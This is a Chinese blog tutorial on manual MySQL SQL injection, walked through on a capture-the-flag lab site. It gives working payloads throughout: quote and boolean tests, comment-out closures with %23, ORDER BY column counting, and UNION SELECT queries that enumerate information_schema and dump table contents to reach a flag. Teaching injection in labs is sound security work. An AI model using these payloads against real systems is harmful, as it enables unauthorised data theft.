mysql手工注入总结

今天我们来讲一下mysql手工注入的大体内容

给你一段url 

http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1

应该怎么手工注入呢?

first   我们讲怎么判断是否具有注入点

一,刚才的id=1后加一个单引号,变成id=1' 。

        页面如果报错,说多了一个单引号,那么说明可能存在注入点。

二,可以在id=1 后面加上判断语句 如 and 1=1    and 1=2

        很明显 1=1  1不等于2 

        那么如果‘id=1 and 1=1’页面正常,‘id=1 and 1=2’时页面不正常,则这个可能存在注入。

         为啥是可能?不是一定?

因为有些页面可能在返回结果出做过滤,虽然你这里带入数据库是可以被查询的,但无法返回,是否可以利用需要结合具体情况对待

second  找到注入点后就可以闭合语句了

这里需要思考后台的代码是如何编写的

举个例子

后台语句

select * from tables where id='$id';

这种情况下,$id变量多为字符型 ,需要闭合单引号,

可以用?id=1'这种形式闭合

所以我们在注入过程中能就要在url后输入

/index.php?id=1'    用单引号闭合

注意:在闭合过程中,我们一定要结合实际情况,进行闭合符号,

这是没有什么固定方式的,因为我们母鸡后台代码,但最终达到一个目的就好了,就是闭合语句中可能有的符号,注释掉我们不需要或者可能会限制我们继续注入的部分。使得后台做出 我们想让他做的事情。

在这里 需要讲一下注释  为啥要注释,你不注释怎么让后台只执行你想要的命令啊

比如

http://lab1.xseclab.com/sqli5_5ba0bba6a6d1b30b956843f757889552/index.php?start=0&num=1

这一题中用到了limit语句  不使用where 那么应该怎么做? 

注释有  

行间注释  # 就是23%   --

行内注释      /*注释内容*/

还要说一下,我们在注入的时候,为什么使用的%23而不是#呢,因为由于编码的问题,在浏览器中直接提交#会变成空,所以我们使用url编码后的#,即%23,当传输到后端时,后端语言会对它自动解码成#,才能够成功带入数据库查询

有这么一个网站:www.example.com/index.php?id=1

他在数据中的查询语句是select * from table where id='$id' limit 0,1;

那么我们注入的语句就可以是?id=1' %23

这个时候,带入到数据库查询的语句就变成了

select * from table where id='$id' #' limit 0,1;

#会把后面的语句注释掉,然后我们得到实际执行的语句就成了

select * from table where id='$id';

寻找注入点和注释不需要的内容是个重点

只有顺利的完成这两步骤,才能接下去实施

third 使用order by 子句判断字段

什么是order by

这里引用w3c的内容

ORDER BY 语句用于对结果集进行排序

ORDER BY 语句用于根据指定的列对结果集进行排序。

ORDER BY 语句默认按照升序对记录进行排序。

啥意思?

就是说

order by 是用来排序的,后面的数字代表列数

order by 1  第一列进行排序

order by 2  第二列进行排序

。。。。。

如果order by 4错误,即没有第4列

由此可得一共有3列

而在order by 4报错的时候,注入页面会有相应的显示,这时候你就知道,有几个字段了

这里我使用的是lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1 order by 3

order by 3  是对的

order by 4  报错  故而可以判断字段数

then 使用联合查询

http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1 UNION SELECT 1,2,3

可以看到我写的是id=1 UNION SELECT 1,2,3

而刚才order by 出来的是3    这就是联合查询 union select 1,2,3,4,5…..n/*

字段数是几,那么n就是几

mysql手工注入总结_第1张图片
这里出现了2和3

提交后,可以看到页面中出现可以被显示的字段编号,我们通过在响应位置替换成我们需要的查询字段和表就可以,如这里,我注入出来的是2和3位置可以被注入,也就是接下来所有注入的内容更都需要替换这里select语句中的2和3

我们试一下,看看当前库和版本就是database(),version()


mysql手工注入总结_第2张图片
做到这里其实后面的也就清楚了

除了当前库,还会有其他库啊,是不是也要看看?

这里我们输入

http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1 and 1=2 union select 1,schema_name,3 from information_schema.schemata limit 0,5

这里用到了limit

通过调整limit即可遍历出所有的数据库,调整方法为limit 0,1;limit 1,2;limit 2,3……直到出现错误或异常


mysql手工注入总结_第3张图片

这里我用了limit 0,5  出来了3个库,说明里面就三个

库子知道了,暴对应数据库的数据表

mysql手工注入总结_第4张图片

选择sae_user_sqli3,继续干


http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7361655F757365725F73716C6933


mysql手工注入总结_第5张图片

这里有三个字段,快捷点,我们上来就是爆两个字段

http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1 and 1=2 union select 1,title,content from sae_user_sqli3


mysql手工注入总结_第6张图片

ok了

flagishere#

HKGGflagdfs56757fsdv


这么长,能看完,谢谢你们

你可能感兴趣的:(mysql手工注入总结)